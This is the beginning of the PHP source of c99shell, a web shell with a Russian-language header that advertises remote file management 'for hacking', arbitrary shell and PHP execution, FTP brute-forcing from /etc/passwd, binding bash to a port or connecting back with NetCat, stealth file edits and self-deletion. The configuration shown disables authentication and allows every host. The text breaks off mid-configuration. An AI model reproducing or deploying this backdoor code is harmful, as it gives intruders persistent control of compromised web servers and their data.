<?php
/*
******************************************************************************************************
*
*					c99shell.php v.1.0 beta (от 21.05.2005)
*							Freeware license.
*								© CCTeaM.
*  c99shell - файл-менеджер через www-броузер, "заточеный" для взлома.
*  Вы можете бесплатно скачать последнюю версию на домашней страничке продукта:
   http://ccteam.ru/releases/c99shell
*
*  WEB: http://ccteam.ru
*  ICQ UIN #: 656555
* 
*  Особенности:
*  + управление локальными и удаленными (ftp, samba *) файлами/папками, сортировка
*    закачивание скачивание файлов и папок
*    (предворительно упаковывается/распаковывается через tar *)
*    продвинутый поиск (возможен внутри файлов)
*    modify-time и access-time у файлов не меняются при редактировании (выкл./вкл. параметром $filestealth)
*  + продвинутый SQL-менеджер не уступающий phpmyadmin,
     просмотр/создание/редактирование БД/таблиц, просмотр файлов через брешь в mysql
*  + управление процессами unix-машины.
*  + удобное (иногда графическое) выполнение shell-команд (много алиасов, можно редактировать)
*  + выполнение произвольного PHP-кода
*  + кодировщик данных через md5, unix-md5, sha1, crc32, base64
*  + быстрый локальный анализ безопасности ОС
*  + быстрое ftp-сканирование на связки login;login из /etc/passwd (обычно дает доступ к 1/100 аккаунтов)
*    постраничный вывод, сортировка, групповые операции над БД/таблицами, управление процессами SQL)
*  + скрипт "любит" include: автоматически ищет переменные с дескрипторами и вставляет их в ссылки (опциально)
     также можно изменить $surl (базовая ссылка) как через конфигурацию (принудительно) так и через cookie "c99sh_surl",
     идет авто-запись значения $set_surl в cookie "set_surl"
*  + возможность "забиндить" /bin/bash на определенный порт с произвольным паролем,
*    или сделать back connect (производится тестирование соеденения, и выводятся параметры для запуска NetCat).
*  + возможность быстрого само-удаления скрипта
*  + автоматизированая отправка сообщений о недоработках и пожеланий автору (через mail())

*  * - успех полностью зависит от конфигурации PHP
*
*	В общем нужно увидеть всё это!
*
*   Ожидаемые изменения:
*  ~ Развитие sql-менеджера
*  ~ Добавление недостающих расширений файлов
*
*  ~-~ Пишите обо всех найденых недоработках, желаемых изменениях и доработках (даже о самых незначительных!)
       в ICQ UIN #656555 либо через раздел "feedback", будут рассмотрены все предложения и пожелания.
*
*  Last modify: 21.05.2005
*
*  © Captain Crunch Security TeaM. Coded by tristram
*
******************************************************************************************************
*/

//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
$win = strtolower(substr(PHP_OS, 0, 3)) == "win";
if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 beta (21.05.2005)"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.

//Authentication

$login = "c99"; //login
//DON'T FORGOT ABOUT CHANGE PASSWORD!!!
$pass = "c99"; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

	/*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/	$login = false; //turn off authentification

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";

$autoupdate = false; //Automatic updating?
$updatenow = false; //If true, update now
$c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server

$filestealth = false; //if true, don't change modify&access-time

$donated_html = "<center><b>Owned by hacker</b></center>";
		/* If you publish free shell and you wish
		add link to your site or any other information,
		put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start directory
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmp